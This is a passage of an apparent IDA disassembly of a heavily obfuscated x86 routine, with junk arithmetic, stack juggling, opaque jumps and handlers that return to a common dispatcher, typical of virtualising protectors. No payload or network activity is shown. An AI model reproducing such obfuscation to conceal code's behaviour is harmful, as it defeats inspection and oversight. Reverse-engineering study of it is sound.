		add	esi, edx
		pop	edx
		dec	esi
		not	esi
		jmp	loc_591209
; ---------------------------------------------------------------------------


loc_59A3F7:				; CODE XREF: sub_58A891+D9F5j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_591809
; ---------------------------------------------------------------------------


loc_59A3FF:				; CODE XREF: sub_58A891+439Bj
		pop	esi
		xchg	eax, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], ecx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A40E:				; CODE XREF: sub_58A891+6B79j
					; sub_58A891+C5F8j
		push	6775h
		mov	[esp+10h+var_10], eax
		push	[esp+10h+var_10]
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		push	6CCh
		mov	[esp+14h+var_14], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 2D8B587Bh
		not	esi
		not	esi
		shl	esi, 5
		xor	esi, 7FA46F45h
		sub	esi, 125360D9h
		push	ecx
		jmp	loc_596D0D
; ---------------------------------------------------------------------------


loc_59A448:				; CODE XREF: sub_58A891+601Bj
		bts	[esp+0], ax
		pushf
		jmp	loc_599649
; ---------------------------------------------------------------------------


loc_59A453:				; DATA XREF: sub_58A891+3C2Bo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_5955F1
; ---------------------------------------------------------------------------


loc_59A45F:				; CODE XREF: sub_58A891+6527j
		sub	edi, 181BC4ABh
		mov	eax, edi
		pop	edi
		add	eax, 3D7C0659h
		push	ebx
		mov	ebx, 3D415D61h
		jmp	loc_59112D
; ---------------------------------------------------------------------------


loc_59A478:				; CODE XREF: sub_58A891+5333j
					; sub_58A891+9952j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+40h+var_40]
		xor	[esp+40h+var_40], ebx
		xor	ebx, [esp+40h+var_40]
		pop	esp
		jmp	loc_5903EE
; ---------------------------------------------------------------------------


loc_59A490:				; CODE XREF: sub_58A891+74CCj
		push	eax
		mov	eax, 42132F84h
		jmp	loc_5949E4
; ---------------------------------------------------------------------------


loc_59A49B:				; CODE XREF: sub_58A891+D61Fj
		add	ebx, 2EC716FBh
		add	ebx, 47AF6154h
		sub	ebx, ebp
		sub	ebx, 47AF6154h
		sub	ebx, 2EC716FBh
		pop	ebp
		sub	ebx, eax
		jmp	loc_5917F3
; ---------------------------------------------------------------------------


loc_59A4BD:				; CODE XREF: sub_58A891+3E25j
		xor	ebx, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], ebx
		xor	ebx, [esp+4Ch+var_4C]
		jmp	loc_59A63C
; ---------------------------------------------------------------------------


loc_59A4CB:				; CODE XREF: sub_58A891+B7D7j
		mov	edx, edi
		pop	edi
		jmp	loc_591584
; ---------------------------------------------------------------------------


loc_59A4D3:				; CODE XREF: sub_58A891+F043j
		push	edx
		mov	edx, 23AFD7EFh
		sub	ecx, edx
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		add	ebx, 4
		push	ebx
		jmp	loc_58F452
; ---------------------------------------------------------------------------


loc_59A4F0:				; CODE XREF: sub_58A891+6853j
		xor	ebp, 2915A6F9h
		shl	ebp, 6
		jmp	loc_58FFF8
; ---------------------------------------------------------------------------


loc_59A4FE:				; CODE XREF: sub_58A891+7F97j
		pop	ebx
		jmp	loc_596A3F
; ---------------------------------------------------------------------------


loc_59A504:				; CODE XREF: sub_58A891+B8BBj
		push	ecx
		mov	ecx, 66055964h
		neg	ecx
		or	ecx, 18FB6E14h
		jmp	loc_590897
; ---------------------------------------------------------------------------


loc_59A517:				; CODE XREF: sub_58A891+4D29j
		shl	edx, 8
		xor	edx, 1C98252Eh
		jle	loc_592F1B
		sub	edx, 0EB40E238h
		mov	eax, edx
		jmp	loc_59B98F
; ---------------------------------------------------------------------------


loc_59A533:				; CODE XREF: sub_58A891+4B01j
		push	6ADFh
		mov	[esp+34h+var_34], ecx
		mov	ch, 5Eh
		inc	ch
		jno	loc_5945C7
		add	ch, 6Bh
		sub	bl, ch
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		push	esi


loc_59A551:				; CODE XREF: sub_58A891+CA75j
		mov	[esp+34h+var_34], esi
		mov	esi, 640C5DB1h
		xor	esi, 2A0B6561h
		mov	ebp, esi
		mov	esi, [esp+34h+var_34]
		jmp	loc_596D55
; ---------------------------------------------------------------------------


loc_59A569:				; CODE XREF: sub_58A891+CA05j
					; sub_58A891+CBADj
		push	small 337Dh
		mov	word ptr [esp+0Eh+var_10+2], dx
		push	ebx
		mov	bl, 0CCh
		sub	bl, 13h
		jns	loc_58E91E
		add	bl, 41h
		jmp	loc_597A84
; ---------------------------------------------------------------------------


loc_59A585:				; CODE XREF: sub_58A891+7BD1j
		add	cl, ah
		jmp	loc_5973A5
; ---------------------------------------------------------------------------


loc_59A58C:				; CODE XREF: sub_58A891+5ED5j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59800F
; ---------------------------------------------------------------------------


loc_59A594:				; CODE XREF: sub_58A891+B410j
		xor	eax, ecx
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp+58h+var_58], esp
		jmp	loc_591BCE
; ---------------------------------------------------------------------------


loc_59A5AB:				; DATA XREF: sub_58A891+3A57o
		push	[esp+8+var_8]
		jmp	loc_593A41
; ---------------------------------------------------------------------------


loc_59A5B3:				; CODE XREF: sub_58A891+D5F4j
		shl	eax, 8
		jnp	loc_597B4D
		xor	eax, 0F325F457h
		jmp	loc_596B2F
; ---------------------------------------------------------------------------


loc_59A5C6:				; CODE XREF: sub_58A891+B45Aj
		add	edx, 301A56A6h
		add	edx, eax
		sub	edx, 301A56A6h
		pop	eax
		push	ebx
		mov	ebx, 4ED1372Ch
		sub	ecx, ebx
		pop	ebx
		add	ecx, edx
		jmp	loc_5955CA
; ---------------------------------------------------------------------------


loc_59A5E5:				; CODE XREF: sub_58A891+100DCj
		add	esp, 4
		sub	ebp, 60D33E67h
		push	esi
		jmp	loc_594C13
; ---------------------------------------------------------------------------


loc_59A5F7:				; CODE XREF: sub_58A891+B948j
					; sub_58A891+FDF6j
		sub	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_591AF0
; ---------------------------------------------------------------------------


loc_59A601:				; CODE XREF: sub_58A891+5C24j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xor	eax, [esp+18h+var_18]
		xor	[esp+18h+var_18], eax
		xor	eax, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_599E9D
; ---------------------------------------------------------------------------


loc_59A61A:				; CODE XREF: sub_58A891+A405j
		pop	[esp-8+arg_0]
		pop	esp
		push	dword ptr [esp+0]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		push	ecx
		jmp	loc_5939E2
; ---------------------------------------------------------------------------


loc_59A632:				; DATA XREF: sub_58A891+39FBo
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		jmp	loc_590605
; ---------------------------------------------------------------------------


loc_59A63C:				; CODE XREF: sub_58A891+FC35j
		pop	esp
		push	[esp+48h+var_48]
		pop	edx
		push	3FFh
		mov	[esp+4Ch+var_4C], ecx
		push	esp
		pop	ecx
		jmp	loc_59918D
; ---------------------------------------------------------------------------


loc_59A650:				; CODE XREF: sub_58A891+6C8Dj
		mov	ebx, [esp+2Ch+var_2C]
		add	esp, 4
		push	ecx
		mov	cl, 0FDh
		neg	cl
		neg	cl
		add	cl, 47h
		add	cl, 0ADh
		add	cl, 8Bh
		add	cl, 18h
		sub	al, cl
		jmp	loc_599CE9
; ---------------------------------------------------------------------------


loc_59A673:				; CODE XREF: sub_58A891+709Bj
					; sub_58A891+10095j
		push	edx
		jmp	loc_595AAA
; ---------------------------------------------------------------------------


loc_59A679:				; CODE XREF: sub_58A891:loc_59A6DCj
		neg	eax
		dec	eax
		jl	loc_59189C
		jmp	loc_59755C
; ---------------------------------------------------------------------------
		jmp	loc_59A5F7
; ---------------------------------------------------------------------------
		db 8Bh,	0D2h
; ---------------------------------------------------------------------------
		pop	ecx


loc_59A68F:				; CODE XREF: sub_58A891+60F1j
		mov	ebp, 0E7B5D87h
		xor	ebp, 4FEF6355h
		jno	loc_597846
		shr	ebp, 6
		js	loc_595359
		shr	ebp, 4
		pop	eax


loc_59A6AD:				; CODE XREF: sub_58A891+C7BDj
		xor	dh, ch
		pop	ecx
		sub	bl, dh
		pop	edx
		jmp	loc_5912DB
; ---------------------------------------------------------------------------


loc_59A6B8:				; DATA XREF: sub_58A891+3B7Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+6+var_8+2], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A6C7:				; CODE XREF: sub_58A891+CA4Fj
		push	5C11h
		mov	[esp+50h+var_50], ebx
		mov	ebx, 0A68EDD35h
		add	edi, ebx
		pop	ebx
		jmp	loc_598914
; ---------------------------------------------------------------------------


loc_59A6DC:				; CODE XREF: sub_58A891+B76Cj
		jmp	loc_59A679
; ---------------------------------------------------------------------------


loc_59A6E1:				; CODE XREF: sub_58A891+F2B7j
		sub	edx, 929BE4C7h
		mov	esi, edx
		jmp	loc_592E36
; ---------------------------------------------------------------------------


loc_59A6EE:				; CODE XREF: sub_58A891+B63Aj
		not	eax
		push	ebp
		mov	ebp, 0A05179Bh
		add	eax, ebp
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		push	ecx
		mov	ecx, 24FA44EAh
		add	ecx, 9D90337Ah
		xor	eax, ecx
		pop	ecx
		and	esi, eax
		pop	eax
		jmp	loc_59774D
; ---------------------------------------------------------------------------


loc_59A718:				; CODE XREF: sub_58A891+110E1j
		push	edx
		mov	edx, 31980F27h
		xor	ecx, edx
		pop	edx
		push	edx
		mov	edx, 22DB7A29h
		xor	edx, 739D09BFh
		push	edi
		mov	edi, 7F2E10DFh
		sub	edi, 34EE0273h
		add	edi, 3AA956F1h
		sub	edi, 0EFD7BEFAh
		xor	edx, edi
		push	[esp+58h+var_58]
		jmp	loc_5946E5
; ---------------------------------------------------------------------------


loc_59A74F:				; CODE XREF: sub_58A891+7606j
		xor	ebp, ebx
		pop	ebx
		jmp	loc_59416A
; ---------------------------------------------------------------------------


loc_59A757:				; CODE XREF: sub_58A891+A0C7j
		sub	esi, 177466h
		add	esi, eax
		add	esi, 177466h
		push	ebx
		push	esi
		mov	esi, 4D9C3C3Bh
		jmp	loc_5952F0
; ---------------------------------------------------------------------------


loc_59A771:				; CODE XREF: sub_58A891+F9FAj
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		sub	edx, 7FB5826h
		jmp	loc_58E663
; ---------------------------------------------------------------------------


loc_59A784:				; CODE XREF: sub_58A891+5787j
		add	ebp, 7D9BF43Bh
		sub	eax, 2D0837D5h
		add	eax, ebp
		jmp	loc_58E615
; ---------------------------------------------------------------------------


loc_59A796:				; CODE XREF: sub_58A891+5486j
					; sub_58A891+105B9j
		sub	esp, 4
		jmp	loc_58EB37
; ---------------------------------------------------------------------------


loc_59A79E:				; CODE XREF: sub_58A891+84A2j
		mov	[esp+18h+var_18], eax
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 10h
		sub	esp, 4
		jmp	loc_59AEAA
; ---------------------------------------------------------------------------


loc_59A7B7:				; CODE XREF: sub_58A891+10281j
		add	esp, 4
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A7C3:				; CODE XREF: sub_58A891+7D5Fj
		shl	ecx, 4
		not	ecx
		not	ecx
		shr	ecx, 1
		sub	ecx, 274BD1CCh
		or	eax, ecx
		jmp	loc_597777
; ---------------------------------------------------------------------------


loc_59A7D9:				; CODE XREF: sub_58A891+4BBCj
		push	[esp+48h+var_48]
		mov	edx, [esp+4Ch+var_4C]
		add	esp, 4
		jmp	loc_594711
; ---------------------------------------------------------------------------


loc_59A7E7:				; CODE XREF: sub_58A891+8455j
		push	esi
		push	esp
		pop	esi
		push	edi
		push	4
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		sub	esi, 6F501CC6h
		jmp	loc_591057
; ---------------------------------------------------------------------------


loc_59A804:				; CODE XREF: sub_58A891+AA94j
		mov	edx, 0BE9AD1C1h
		sub	edx, 5C1C1AB0h
		add	edx, esi
		add	edx, 5C1C1AB0h
		pop	esi
		add	eax, 7F6D021Ah
		add	eax, 56BE6C80h
		add	eax, edx
		sub	eax, 56BE6C80h
		sub	eax, 7F6D021Ah
		pop	edx
		jmp	loc_59820D
; ---------------------------------------------------------------------------


loc_59A834:				; CODE XREF: sub_58A891+9447j
		mov	ah, 0DAh
		not	ah
		neg	ah
		push	edx
		mov	dl, 17h
		or	dl, 0AAh
		jmp	loc_58F728
; ---------------------------------------------------------------------------


loc_59A845:				; CODE XREF: sub_58A891+7B18j
					; sub_58A891+82FBj
		sub	esi, 19D51DCBh
		add	eax, esi
		pop	esi
		add	eax, 2
		xchg	eax, [esp+0]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59A860:				; CODE XREF: sub_58A891+6814j
					; sub_58A891+D7E9j
		add	esp, 4
		shl	ebp, 6
		inc	ebp
		jns	loc_596B46
		and	ebp, 49CB4E60h
		jo	loc_59A0AF
		mov	ch, 5Bh
		push	edx


loc_59A87F:				; CODE XREF: sub_58A891+8EE4j
		pop	edx
		jmp	loc_598D12
; ---------------------------------------------------------------------------


loc_59A885:				; CODE XREF: sub_58A891+6B51j
		pop	esi
		push	edi
		jmp	loc_597702
; ---------------------------------------------------------------------------


loc_59A88C:				; CODE XREF: sub_58A891+6B00j
		add	eax, edi
		pop	edi
		xor	eax, 0C63649EEh
		xor	ebx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59B9A0
; ---------------------------------------------------------------------------


loc_59A8A4:				; CODE XREF: sub_58A891+E453j
		or	ecx, 64EC7735h
		jb	loc_5993E3
		xor	ecx, 76EEFB75h
		sub	esp, 4
		jmp	loc_599C35
; ---------------------------------------------------------------------------


loc_59A8BE:				; CODE XREF: sub_58A891+AE3Aj
		push	[esp+1Ch+var_1C]
		mov	edi, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_597A6C
; ---------------------------------------------------------------------------


loc_59A8CC:				; CODE XREF: sub_58A891+6A02j
		mov	eax, esi
		jmp	loc_58FC15
; ---------------------------------------------------------------------------


loc_59A8D3:				; CODE XREF: sub_58A891:loc_59244Ej
		inc	ebp
		jge	loc_596614
		dec	ebp
		jmp	loc_59156E
; ---------------------------------------------------------------------------
		jmp	loc_595939
; ---------------------------------------------------------------------------


loc_59A8E5:				; CODE XREF: sub_58A891+7180j
		sub	ch, 64h
		and	ch, 17h
		jmp	loc_59006A
; ---------------------------------------------------------------------------


loc_59A8F0:				; CODE XREF: sub_58A891+B1C5j
		jmp	loc_59608C
; ---------------------------------------------------------------------------


loc_59A8F5:				; CODE XREF: sub_58A891+5E15j
		shl	eax, 5
		shr	eax, 5
		xor	eax, 14A399Bh
		sub	ebx, eax
		jmp	loc_5960E9
; ---------------------------------------------------------------------------


loc_59A907:				; CODE XREF: sub_58A891+847Bj
		pop	ebx
		push	esi
		jmp	loc_5963C7
; ---------------------------------------------------------------------------


loc_59A90E:				; CODE XREF: sub_58A891:loc_5910AAj
		inc	eax
		jmp	loc_5963C7
; ---------------------------------------------------------------------------


loc_59A914:				; CODE XREF: sub_58A891+C2FDj
		xchg	ebp, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		shl	eax, cl
		jmp	loc_59AF01
; ---------------------------------------------------------------------------


loc_59A921:				; CODE XREF: sub_58A891:loc_59560Cj
		add	eax, 4C1B1145h
		jb	loc_59A673
		jmp	loc_593FFD
; ---------------------------------------------------------------------------


loc_59A931:				; CODE XREF: sub_58A891+C4BFj
		inc	ebp
		jmp	loc_5914E7
; ---------------------------------------------------------------------------


loc_59A937:				; CODE XREF: sub_58A891+46B0j
		mov	esp, [esp+48h+var_48]
		add	eax, 4
		add	eax, 2
		jmp	loc_598F31
; ---------------------------------------------------------------------------


loc_59A947:				; CODE XREF: sub_58A891+E940j
		mov	edx, 2
		add	ecx, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_59771B
; ---------------------------------------------------------------------------


loc_59A956:				; CODE XREF: sub_58A891+8BD5j
		sub	esi, 5C573468h
		xor	esi, 0F66400E0h
		add	ebx, esi
		pop	esi
		jmp	loc_594996
; ---------------------------------------------------------------------------


loc_59A96A:				; CODE XREF: sub_58A891+DA41j
		mov	ebp, [esp+4Ch+var_4C]
		jmp	loc_59A5E5
; ---------------------------------------------------------------------------


loc_59A972:				; CODE XREF: sub_58A891+7FEFj
		xor	edi, 3395682Eh
		add	esi, edi
		pop	edi
		push	685Eh
		mov	[esp+50h+var_50], esi
		push	[esp+50h+var_4C]
		pop	esi
		pop	[esp+50h+var_50]
		mov	esp, [esp+4Ch+var_4C]
		mov	ax, word ptr [esp+4Ch+var_4C]
		push	edx
		push	esp
		push	[esp+54h+var_54]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+58h+var_58]
		pop	esp
		push	eax
		mov	eax, 0FE751B0h
		jmp	loc_592411
; ---------------------------------------------------------------------------


loc_59A9B3:				; CODE XREF: sub_58A891+A233j
					; sub_58A891+1104Cj
		push	eax
		push	7BA612B7h
		pop	eax
		shr	eax, 5
		sub	eax, 7D4B6E13h
		jmp	loc_596CBC
; ---------------------------------------------------------------------------


loc_59A9C7:				; CODE XREF: sub_58A891+DF7Aj
		push	[esp-0Ch+arg_4]
		jmp	loc_5924E1
; ---------------------------------------------------------------------------


loc_59A9CF:				; CODE XREF: sub_58A891+E4BEj
		or	cl, 98h
		neg	cl
		neg	cl
		dec	cl
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_595160
; ---------------------------------------------------------------------------


loc_59A9E6:				; CODE XREF: sub_58A891+9EE9j
		mov	esi, 6413705Ch
		mov	ecx, esi
		pop	esi
		jmp	loc_596AAF
; ---------------------------------------------------------------------------


loc_59A9F3:				; CODE XREF: sub_58A891+901Ej
		jnz	loc_59A2E1
		shr	ebp, 1
		jp	loc_59B2FB
		mov	dl, al
		sub	al, 0F8h


loc_59AA05:				; CODE XREF: sub_58A891+6C5Ej
		pop	ebp
		sub	[esp+10h+var_C], 170D4D5Ah
		jmp	loc_58ECB2
; ---------------------------------------------------------------------------


loc_59AA13:				; CODE XREF: sub_58A891:loc_597A84j
		xor	bl, 19h
		jnp	loc_5991F9
		or	bl, 0B4h
		jnz	loc_592DF0
		add	bl, 0F5h


loc_59AA28:				; CODE XREF: sub_58A891+11228j
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		add	al, 0E8h
		add	al, dh
		jmp	loc_59974D
; ---------------------------------------------------------------------------


loc_59AA3A:				; CODE XREF: sub_58A891+6C33j
		mov	edx, 4845229Bh
		sub	[esp+1Eh+var_1C+2], 4DD812A9h
		jmp	loc_5928B2
; ---------------------------------------------------------------------------


loc_59AA4C:				; CODE XREF: sub_58A891+9B5Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+44h+var_44]
		jmp	loc_592619
; ---------------------------------------------------------------------------


loc_59AA5E:				; CODE XREF: sub_58A891+BA3Dj
		add	esi, 202D2F8Bh
		jmp	loc_590327
; ---------------------------------------------------------------------------


loc_59AA69:				; CODE XREF: sub_58A891+8C8Fj
		xor	ebx, 4366541Ah
		sub	ebx, 3E1263E1h
		jmp	loc_59196F
; ---------------------------------------------------------------------------


loc_59AA7A:				; CODE XREF: sub_58A891+4674j
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		push	4
		pop	eax
		add	edi, eax
		jmp	loc_595A7D
; ---------------------------------------------------------------------------


loc_59AA96:				; CODE XREF: sub_58A891+DC06j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AA9B:				; CODE XREF: sub_58A891+5EB9j
		push	ebx
		mov	ebx, 6F5261CCh
		xor	ebx, 46CB70E9h
		and	esi, ebx
		jmp	loc_58EAC4
; ---------------------------------------------------------------------------


loc_59AAAE:				; CODE XREF: sub_58A891+C44Aj
		xor	esi, 2E5EE9B6h
		add	eax, esi
		jmp	loc_595A21
; ---------------------------------------------------------------------------


loc_59AABB:				; CODE XREF: sub_58A891+A1B3j
		push	esp
		mov	ebp, [esp+10h+var_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_58E6BB
; ---------------------------------------------------------------------------


loc_59AAD1:				; CODE XREF: sub_58A891+B0A3j
		mov	word ptr [esp+8+var_8],	cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AAE1:				; CODE XREF: sub_58A891+7F69j
		jnz	loc_58E9A9
		shr	edi, 5
		jmp	loc_5953C4
; ---------------------------------------------------------------------------
		mov	[esp+48h+var_48], ecx


loc_59AAF2:				; CODE XREF: sub_58A891+67D7j
		pop	edi
		add	edi, 4
		jmp	loc_5905C4
; ---------------------------------------------------------------------------


loc_59AAFE:				; CODE XREF: sub_58A891+4727j
		push	ecx
		mov	ecx, 74A564BAh
		or	ecx, 4FAD3CB4h
		jmp	loc_5929A8
; ---------------------------------------------------------------------------


loc_59AB0F:				; CODE XREF: sub_58A891+D50Fj
		mov	esi, [esp+4+var_4]
		jmp	loc_59A7B7
; ---------------------------------------------------------------------------


loc_59AB17:				; CODE XREF: sub_58A891+10955j
		add	esp, 4
		sub	ebx, eax
		push	1A7Eh
		mov	[esp+4+var_4], edx
		push	ebp
		push	78C03CDBh
		pop	ebp
		push	ecx
		mov	ecx, 5F65E2C5h
		sub	ebp, ecx
		pop	ecx
		mov	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 16960FC5h
		inc	ebx
		sub	ebx, 1433A4B5h
		or	edx, ebx
		jmp	loc_5930A5
; ---------------------------------------------------------------------------


loc_59AB4B:				; CODE XREF: sub_58A891+F894j
		push	edx
		mov	edx, 15705D3Eh
		sub	edx, 149527F5h
		mov	ebp, edx
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_594FBB
; ---------------------------------------------------------------------------


loc_59AB61:				; CODE XREF: sub_58A891+902Aj
		add	eax, 27447F60h
		add	ebp, eax
		pop	eax
		jmp	loc_59B0EA
; ---------------------------------------------------------------------------


loc_59AB6E:				; CODE XREF: sub_58A891+D669j
		sub	ebx, 537192Dh
		jmp	loc_59033C
; ---------------------------------------------------------------------------


loc_59AB79:				; CODE XREF: sub_58A891+6A86j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 61A714E8h
		or	edi, 9E506C4h
		shr	edi, 1
		xor	edi, 34F38B72h
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 347F144Ah
		add	edx, 0CB80EBB8h
		push	14CEh
		mov	[esp+14h+var_14], ebp
		mov	ebp, 106D5A68h
		sub	eax, ebp
		pop	ebp
		add	eax, edx
		push	esi
		mov	esi, 106D5A68h
		add	eax, esi
		pop	esi
		pop	edx
		push	eax
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		pop	eax
		jmp	loc_5944FE
; ---------------------------------------------------------------------------


loc_59ABC9:				; CODE XREF: sub_58A891+3E43j
		mov	[esp+4Ch+var_4C], ecx
		push	edi
		mov	edi, 60F70B14h
		sub	edi, 5AD06E89h
		mov	ecx, edi
		mov	edi, [esp+50h+var_50]
		add	esp, 4
		xor	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		mov	ebp, [esp+44h+var_44]
		jmp	loc_598D09
; ---------------------------------------------------------------------------


loc_59ABF1:				; CODE XREF: sub_58A891+105EBj
		neg	eax
		jmp	loc_59219F
; ---------------------------------------------------------------------------


loc_59ABF8:				; CODE XREF: sub_58A891+D9B5j
		push	esi
		mov	esi, 282D4398h
		sub	edi, esi
		pop	esi
		push	edx
		mov	edx, 7E2870FBh
		and	edx, 776A665Ah
		or	edx, 5EDB19B3h
		push	eax
		mov	eax, 37236BABh
		xor	eax, 58AD0782h
		or	eax, 88564AFh
		xor	eax, 26E8469Fh
		jmp	loc_592B99
; ---------------------------------------------------------------------------


loc_59AC2D:				; CODE XREF: sub_58A891+E0B0j
		pop	eax
		add	ebx, eax
		push	edi
		mov	edi, 502B14E9h
		jmp	loc_591EF2
; ---------------------------------------------------------------------------


loc_59AC3B:				; CODE XREF: sub_58A891+49F8j
		add	esp, 4
		add	[esp+24h+var_20], edi
		pop	edi
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AC4B:				; CODE XREF: sub_58A891+8D8Fj
		mov	[esp+0Eh+var_10+2], ebx
		push	edi
		mov	edi, 223306C8h
		jmp	loc_59B0E2
; ---------------------------------------------------------------------------


loc_59AC59:				; CODE XREF: sub_58A891+CFC1j
					; DATA XREF: sub_58A891+3A33o
		mov	ax, word ptr [esp+44h+var_44]
		push	ebx
		sub	esp, 4
		mov	[esp+4Ch+var_4C], esp
		add	[esp+4Ch+var_4C], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_59B40B
; ---------------------------------------------------------------------------


loc_59AC77:				; CODE XREF: sub_58A891+10CFDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		mov	edx, [esp+48h+var_48]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 2CC3140Ah
		mov	ebp, 5FC34DEAh
		xor	ebp, ecx
		pop	ecx
		push	7F29h
		jmp	loc_59078F
; ---------------------------------------------------------------------------


loc_59ACA6:				; DATA XREF: sub_58A891+3AA3o
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_598AC8
; ---------------------------------------------------------------------------


loc_59ACB7:				; CODE XREF: sub_58A891+9A96j
		sub	edx, 1C8706Eh
		add	esi, edx
		mov	edx, [esp+24h+var_24]
		add	esp, 4
		xor	esi, [esp+20h+var_20]
		xor	[esp+20h+var_20], esi
		xor	esi, [esp+20h+var_20]
		pop	esp
		and	word ptr [esp+1Ch+var_1C], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59ACD9:				; CODE XREF: sub_58A891+9F1Cj
		add	al, bl
		sub	al, 0F2h
		push	dx
		jmp	loc_591138
; ---------------------------------------------------------------------------


loc_59ACE4:				; CODE XREF: sub_58A891+A249j
		inc	bx
		push	eax
		mov	ax, 1DE8h
		add	ax, 533Bh
		add	ax, 1F77h
		jmp	loc_599D4B
; ---------------------------------------------------------------------------


loc_59ACF8:				; CODE XREF: sub_58A891+4FB2j
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------
dword_59AD04	dd 123ABB53h, 0BF576EC8h, 5B6B3D5Bh, 68C6C781h,	8A0F116Fh
					; DATA XREF: sub_58A891+3A3Bo
		dd 0FFFFD88Bh, 0CF81D7F7h, 6A495100h
; ---------------------------------------------------------------------------
		add	al, 39h


loc_59AD26:				; CODE XREF: sub_58A891+B28Ej
		mov	ecx, [esp-8+arg_0]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AD31:				; CODE XREF: sub_58A891+C9C3j
		pop	edi
		mov	esi, edi
		pop	edi
		jmp	loc_592BD7
; ---------------------------------------------------------------------------


loc_59AD3A:				; CODE XREF: sub_58A891+B911j
		add	ebx, edi
		sub	ebx, 757A6701h
		mov	edi, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 40B42C40h
		sub	edi, 70E91C53h
		not	edi
		dec	edi
		or	edi, 13AF17CDh
		sub	edi, 173627ABh
		jmp	loc_595D23
; ---------------------------------------------------------------------------


loc_59AD6E:				; CODE XREF: sub_58A891:loc_593CBCj
					; sub_58A891+E1BDj
		add	esp, 4
		xor	ecx, 67DE3874h
		add	edi, ecx
		jmp	loc_59579D
; ---------------------------------------------------------------------------


loc_59AD7E:				; CODE XREF: sub_58A891+C9E3j
		mov	edx, esi
		pop	esi
		jmp	loc_593D7D
; ---------------------------------------------------------------------------


loc_59AD86:				; DATA XREF: sub_58A891+3A73o
		mov	ax, word ptr [esp+8+var_8]
		push	22FEh
		jmp	loc_599112
; ---------------------------------------------------------------------------


loc_59AD94:				; CODE XREF: sub_58A891+F1D8j
		pop	esi
		jmp	loc_59440D
; ---------------------------------------------------------------------------


loc_59AD9A:				; CODE XREF: sub_58A891+84E7j
					; sub_58A891+10709j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], ebx
		mov	ebx, 4ABC4F93h
		dec	ebx
		jmp	loc_5978B0
; ---------------------------------------------------------------------------


loc_59ADBB:				; CODE XREF: sub_58A891+BB68j
		add	ecx, 7CCF34B4h
		xor	ecx, 7463E954h
		jmp	loc_58F87A
; ---------------------------------------------------------------------------


loc_59ADCC:				; CODE XREF: sub_58A891+112E7j
		xor	ebx, 10840EC7h
		push	edx
		push	ebx
		xor	dword ptr [esp+0], 2B8225F7h
		jmp	loc_59BC3F
; ---------------------------------------------------------------------------


loc_59ADE0:				; CODE XREF: sub_58A891+9EE2j
		sub	al, 51h
		jmp	loc_598893
; ---------------------------------------------------------------------------


loc_59ADE7:				; CODE XREF: sub_58A891+4E92j
		sub	ebx, ebp
		pop	ebp
